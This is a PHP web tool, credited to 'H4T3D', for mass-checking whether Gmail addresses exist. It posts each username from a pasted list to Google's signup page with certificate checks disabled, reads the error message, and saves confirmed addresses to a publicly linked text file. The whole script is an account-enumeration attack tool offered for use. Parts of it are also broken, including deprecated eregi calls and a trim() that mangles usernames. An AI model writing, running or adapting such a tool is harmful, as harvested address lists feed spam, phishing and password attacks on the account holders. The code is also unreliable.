Check Emails From Gmail Database (Gmail Bug)- H4T3D

<?php
#########################################
#Mass Gmail Email Checker
#Checking Emails From Google (Gmail)Database lol :p
#Gmail Discovered  Bug By H4T3D
#[email protected] (check my email is it valid ;))
##########################################
ob_start();
@set_time_limit(0);
 error_reporting(0);
echo "
<head>
<link href='https://fonts.googleapis.com/css?family=Orbitron' rel='stylesheet' type='text/css'>
<form method='POST'>
</head>
<style>
textarea {
    resize:none;
    color: #1975FF ;
    border:4px solid red ;
    font-family: 'Orbitron', sans-serif;
    font-size:15px;
}
html,body{
        font-family: 'Orbitron', sans-serif;
        background:#000000;
}

input {
        color: 3300FF;
        border:4px solid #33CCFF;
        font-family: 'Orbitron', sans-serif;
}
h1{
    color: #FFFFFF;
        font-family: 'Orbitron', sans-serif;
    }
h3,fieldset {
        color: #FFFFFF;
        width:50%;
        border:4px solid red;
        font-family: 'Orbitron', sans-serif;

}
</style>";

echo "
<center><h1> Gmail Valid Email Database 2015 - H4T3D</h1></center>
<p dir='ltr' align='center'>
<textarea cols='33' class='area'  rows='22' name='username'>[email protected]\n[email protected]\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\n[email protected]\r\nrenildac9gmail.com</textarea>
<br>
<br>
<input type='submit' name='scan' value='Start'><br>
<center><h3> >> <a href=\"validgmail.txt\">Valid Gmail Emails</a></h3></center>
</p>";
if(isset($_POST['scan'])){
function brute($users){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "https://accounts.google.com/SignUp?dsh=3961300277438513116&service=mail");
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "GmailAddress=$users");
    curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");
    $login = curl_exec($ch);
    //print_r($login);
    $check = (eregi('Someone already has that username',$login)) ? true:false;
    $check2 = (eregi('That looks like your email address',$login)) ? true:false;
    $check3 = (eregi('You entered an email address that is already associated with an account',$login)) ? true:false;

if($check=="true"){
        echo "<p align='center' dir='ltr'><font face='Arial Black' size='2' color='green'>$users@gmail.com is Valid !</font></font></p>";
$myfile = fopen("validgmail.txt", "a") or die("Unable to open file!");
        fwrite($myfile, $users."@gmail.com\n");
        fclose($myfile);
   flush();@ob_flush();
}


elseif($check2=="true"){
        echo "<p align='center' dir='ltr'><font face='Arial Black' size='2' color='red'>$users@gmail.com does not exits</font></p>";
    }

elseif($check3=="true"){
        echo "<p align='center' dir='ltr'><font face='Arial Black' size='2' color='green'>$users@gmail.com is Valid !</font></font></p>";
$myfile = fopen("validgmail.txt", "a") or die("Unable to open file!");
        fwrite($myfile, $users."@gmail.com\n");
        fclose($myfile);
   flush();@ob_flush(); }


else{
        echo "<p align='center' dir='ltr'><font face='Arial Black' size='2' color='red'>$users@gmail.com does not Exits</font></p>";
flush();@ob_flush();
}


}


    $username = explode("\n", $_POST['username']);


foreach($username as $users) {
    $users = @trim($users);

        $users = trim($users, "@gmail.com");
        echo brute($users);
                 }

}

echo"<center><h3> Coded By H4T3D</h3></center>";
?>